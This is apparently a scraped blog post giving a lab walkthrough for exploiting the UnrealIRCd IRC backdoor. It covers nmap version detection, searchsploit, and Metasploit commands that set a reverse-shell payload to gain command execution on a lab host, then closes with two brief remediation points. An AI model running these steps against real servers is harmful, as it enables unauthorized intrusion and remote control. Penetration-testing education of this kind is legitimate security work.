当前位置:网站首页>6-25 Vulnerability Exploitation - irc Backdoor Exploitation
6-25 Vulnerability Exploitation - irc Backdoor Exploitation
2022-08-02 01:37:00 【Mountain Rabbit 1】

Introduction to irc
IRC is the English abbreviation of Internet Relay Chat, which is generally called Internet Relay Chat in Chinese.It is a network chat protocol pioneered by Finn Jarkko Oikarinen in 1988.After ten years of development, more than 60 countries in the world have provided IRC services. The working principle of IRC is very simple. You only need to run the client software on your PC, and then connect to an IRC through the Internet using the IRC protocol.on the server.At this time, you can chat through irc, which is characterized by very fast speed, almost no delay when chatting, and only occupies a small bandwidth resource, making the speed faster.All users can chat or whisper about a topic in a place called a "Channel".Each IRC user has a Nickname (nickname) to distinguish different users.
By default, the irc server runs on port 6667.

Detect target irc
Use nmap -sV -p 6667 IP address to detect the target irc version information
nmap -sV -p 6667 192.168.42.137
You can see that the target version information is quickly detected
msf exploits irc backdoor
Use searchsploit to find available POCs
searchsploit UnrealIRCd
You can see if there is any problem with the current software, we choose Backdoor Command Execution (Metasploit) here to use it
use exploit/unix/irc/unreal_ircd_3281_backdoorshow optionsset payload cmd/unix/reverseshow optionsset lhost 192.168.42.128exploitUse the module in msf for the irc backdoor connection to connect to the shell.

As you can see, the detection is completed, the session is established, and we can execute any command here
Repair Defense
1. Upgrade the software version
2. Replace other software
边栏推荐
- 浅谈国产ERP的“横纵竖”三向发展态势
- 内部类、异常简单介绍(第十天)
- Why is on-chain governance so important, and how will Polkadot Gov 2.0 lead the development of on-chain governance?
- feign异常传递的两种方式 fallbackfactory和全局处理 获取服务端自定义异常
- dayjs时间处理库的基本使用
- 安全(2)
- 哈希表
- Can‘t connect to MySQL server on ‘localhost3306‘ (10061) 简洁明了的解决方法
- mapbox使用教程
- datagrip 报错 “The specified database userpassword combination is rejected...”的解决方法
猜你喜欢

HSDC和独立生成树相关

ERROR 1045 (28000) Access denied for user ‘root‘@‘localhost‘解决方法

typescript38-class的构造函数实例方法继承(implement)

Image fusion based on weighted 】 and pyramid image fusion with matlab code

datax与datax-web安装部署

网络请求技术--跨域

【轮式里程计】

Local storage in Kubernetes

Interview: Briefly describe a project you are involved in

字节给我狠狠上了一课:危机来的时候你连准备时间都没有...
随机推荐
hutool工具-----JSON工具-JSONUtil
创新项目实战之智能跟随机器人原理与代码实现
C语言实验七 二维数组程序设计
MySQL——增删查改操作
6-24漏洞利用-vnc密码破解
JDBC PreparedStatement 的命名参数实现
tf.keras.callbacks.EarlyStopping()
go mode tidy出现报错go warning “all“ matched no packages
Redis cluster mode
【目标检测】FCOS: Fully Convolutional One-Stage Object Detection
使用百度EasyDL实现厂区工人抽烟行为识别
PHP直播源码实现简单弹幕效果的相关代码
【图像融合】基于加权和金字塔实现图像融合附matlab代码
Rust P2P网络应用实战-1 P2P网络核心概念及Ping程序
ERROR 1819 (HY000) Your password does not satisfy the current policy requirements
Moonbeam与Project Galaxy集成,为社区带来全新的用户体验
Go语学习笔记 - gorm使用 - gorm处理错误 Web框架Gin(十)
Day.js 常用方法
C语言:打印整数二进制的奇数位和偶数位
管理基础知识18